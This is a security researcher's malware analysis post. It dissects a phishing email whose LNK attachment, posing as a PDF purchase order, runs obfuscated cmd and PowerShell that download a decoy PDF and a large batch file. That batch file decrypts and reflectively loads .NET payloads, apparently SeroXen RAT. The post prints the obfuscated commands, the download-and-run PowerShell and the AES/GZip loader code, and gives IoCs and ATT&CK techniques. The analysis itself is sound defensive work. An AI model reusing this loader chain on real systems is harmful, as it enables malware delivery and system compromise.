From small LNK to large malicious BAT file with zero VT score

Published: 2023-08-03
Last Updated: 2023-08-03 15:49:44 UTC
by Jan Kopriva (Version: 1)
1 comment(s)

Last week, my spam trap caught an e-mail with LNK attachment, which turned out to be quite interesting.

The e-mail message was the usual malspam fare trying to appear as a purchase order sent to the recipient…

…however, the attachment, named “”, was somewhat more intriguing. As you have probably guessed, it did not contain a PDF file, as its name might have suggested, but instead a 15 kB LNK.

If one were to look at the LNKs properties using the standard Windows dialog, one would only see the following string as the “target” for the shortcut, given that the textbox in the dialog supports only a fairly short string.

%ComSpec% /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /shakir /

Since the “target” string begins with the ComSpec variable[1], we can clearly see that the LNK is pointing at cmd.exe (at least on any Windows system with usual configuration), but that is about all we can be certain about at this point. To get to further details, we might take advantage of some specialized tool for analyzing LNK files, however, any hex editor can serve us just as well.

Even if one didn’t understand the internal structure of the Shell Link file format[2], one would only have to locate a string in the file containing multiple “/shakir” substrings to be able to get to the entire command that the file is supposed to execute.

After exporting the entire relevant string, removing null bytes and getting rid of all “/shakir” strings (64 in total), the command that the LNK was supposed to execute came down to:

cmd.exe /r %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "njDpgP=chas" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "AHtypC= %temp%" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "KrAYyI=t ms" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "hHdtLb=powe" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "OZHygs=20PO" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "KIDRmI=Uni." & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "eIGMXx=edge" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "rMMXXr=\Pur" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "rcbQQv=0072" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "lggfDX=e -e" &


& %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "EuMaFU=85.2" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "zwVAcR=.exe" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "tBZUtU=0072" & %ProgramFiles(x86):~15,-6%e%ALLUSERSPROFILE:~-2,-1% "modOVS= 'ht" &
call %hHdtLb%%GkyASq%%urZjnx%%xDqWXQ%%DcsJSj%%lggfDX%%vtYPMl%%McuiOY%%WARyti%%hlKmPJ%%IWrooM%%kpOcNU%%yIRfkU%%wuntNs%%rMMXXr%%njDpgP%%TxOIYy%%kUNXaL%%rcbQQv%%wpjZWB%%amswOE%%rjCblM%%fOvOjT%%EuMaFU%%qwsiSQ%%GUAmHL%%gNfjGQ%%iqRoKc%%ZHgpuC%%OZHygs%%liqLuq%%mSgJIv%%OvOWSp%%cbMqjl%%KrAYyI%%eIGMXx%%zwVAcR%%WpZKAY%%NRgrvf%%GVZfbd%%QouxFZ%%Obyrxv%%tBZUtU%%laQBkG%%BMmBgc%%ytvSKN%%wyKZVy%%AwuLYT%%gLBeTa%%modOVS%%MnVwTd%%aBRlxU%%kmerbO%%lQOtvv%%AtAuFw%%KIDRmI%%DeCrKw%%cVoGUH%%WVnpDf%%dtSAVA%%CFWuBP%%rsZvOX%%lUfsrz%%hTyTyJ%%jufxOT%%QdicOf%%AHtypC%%HAgqdJ%%ZLbstb%

As we may see, it is obfuscated, though not heavily – all readable strings are appended to


which translates to “set”.

The first part of the code therefore sets several (69, to be exact) variables, and the second part, beginning with the “call” command, then uses these variables to execute the intended code.

Although we could manually deobfuscate the code, since it is not too long, a much better approach would be to use the obfuscated script to “deobfuscate itself”. To do this, all we would have to do would be to replace the “call” command with an “echo” command” and let the script run.

As we may see, the entire obfuscated script came down to the following command.

powershell -noprofile -ep bypass -w hidden -c curl -o 'C:\Users\[User]\AppData\Local\Temp\Pur%njDpgP%e%20Order%20PO007289.pdf' '';
start msedge.exe 'C:\Users\[User]\AppData\Local\Temp\Purchase%20Order%20PO007289.pdf';
curl -o C:\Users\[User]\AppData\Local\Temp\Uni.bat '';
start -windowstyle hidden -filepath C:\Users\[User]\AppData\Local\Temp\Uni.bat

The script is therefore supposed to download a PDF file named “Purchase%20Order%20PO007289.pdf” and open it in MS Edge, then download a batch file named “Uni.bat” and execute it.

Given that the LNK was named like a PDF document, the download and opening of a PDF file makes complete sense and was undoubtedly intended to make it appear as if the LNK was indeed a valid document… Even if the PDF didn’t contain the promised purchase order, but merely banking information for an unrelated company.

The batch file was almost 14 MB in size and at the time of writing still had a 0/59 detection rate on VirusTotal[3]…

Contrary to this result, the contents of the BAT file are less than benign…though they are fairly heavily obfuscated.

After it is executed, the batch file copies a local “powershell.exe” executable into the same directory where it is located as “Uni.bat.exe”. It then uses the newly created EXE to run the following script (which has been “beautified” somewhat to increase readability).

"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command

function clDaz($igqAD){
 $BDOYy.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FtcTL30LuEgrLCRQ6F1/TYZL8DL5fU3tJLXeZWB0Mcs=');
 $BDOYy.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SrREJkd4YhlCXMUuNZgEQw==');
 $return_var=$BOvYy.TransformFinalBlock($igqAD, 0, $igqAD.Length);

function WtwUM($igqAD){
 $YAreW=New-Object System.IO.MemoryStream(,$igqAD);
 $Cvzjk=New-Object System.IO.MemoryStream;
 $qEksd=New-Object System.IO.Compression.GZipStream($YAreW, [IO.Compression.CompressionMode]::Decompress);

function RUsyF($igqAD,$GoexF){
 $MJUcA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$igqAD);
 $TeSPg.Invoke($null, $GoexF);

$LUpYe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);
foreach ($SCWoC in $LUpYe) { if ($SCWoC.StartsWith('SEROXEN')) { $vJdWE=$SCWoC.Substring(7); break; }}
$weYGE=WtwUM (clDaz ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($THBXN[0])));
$czNML=WtwUM (clDaz ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($THBXN[1])));
RUsyF $czNML (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
RUsyF $weYGE (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));

If we look at the last 7 lines of code, we can see that the script reads the content of the Uni.bat file and extracts from it all text which follows the “SEROXEN” string. It then splits the extracted text into multiple (2) parts, each of which is then subjected to the same operations. Each substring is decoded from its Base64-encoded form, decrypted using AES (by the function clDaz) and finally decompressed using GZip (by the function WtwUM). The resulting content – two heavily obfuscated .NET binaries – Is then reflectively loaded into memory and executed (using the function RUsyF).

Unlike the aforementioned batch files, both components of the final infection stage [4,5] have non-zero detection rates on VirusTotal (13/70 and 17/71 respectively), though they mostly seem to be detected using generic signatures.

Therefore, if any of our readers knows what family of malware the zero-scoring batch file or the subsequent .NET binaries might belong to, feel free to comment/reach out to me – it would be interesting to learn more, since even platforms specializing in identifying code overlap between malware samples didn’t manage to point to anything significant when it came to the .NET code of the final stage[6,7]…



Indicators of Compromise (IoCs)


Purchase%20Order%20PO007289.pdf.lnk (15 kB)
MD5 304a9ab4d385a6d4c8d45002f92342fa
SHA-1 93700d836102ff1c857c880a8cad4b4387d54de9
SHA-256 e3602d0eb7149004ae6cf4befec8c6d61ac391189122744fff4a1de2cdad4aa3

Purchase%20Order%20PO007289.pdf (2134 kB)
MD5 bfd3ae8bb20e06f32f5b46100dc498c2
SHA-1 5b9ccd750f86ad1a022f8d0eba477a86ca08f6b8
SHA-256 448bf205f66888cd2661b3b7531632a4d0f1e91ccc6568de07f0fdb41f4d96f8

Uni.bat (14235 kB)
MD5 6038fb0dd91fa1e9cca80ea225d8b59b
SHA-1 98d630a01d50675988898185ac8088673409c8a0
SHA-256 8c01ef8b6a9cfa7a80fd5bcb640d68a63ef17dd25ea3e260c7971b1fa156c8be


TTPs associated with the campaign

T1566.001 – Phishing: Spearphishing Attachment
T1204.002 – User Execution: Malicious File
T1059.001 – Command and Scripting Interpreter: PowerShell
T1059.003 – Command and Scripting Interpreter: Windows Command Shell
T1036 – Masquerading
T1036.003 – Masquerading: Rename System Utilities
T1036.007 – Masquerading: Double File Extension
T1036.008 – Masquerading: Masquerade File Type
T1027 – Obfuscated Files or Information
T1027.010 – Obfuscated Files or Information: Command Obfuscation
T1497 – Virtualization/Sandbox Evasion
T1620 – Reflective Code Loading

Jan Kopriva
Nettles Consulting

1 comment(s)


The .NET file (623323d7fc27927dd0c7e08208d6677ca8bf64263e38e31de00660a3156964a4) ends up loading SeroXen RAT. See:

Diary Archives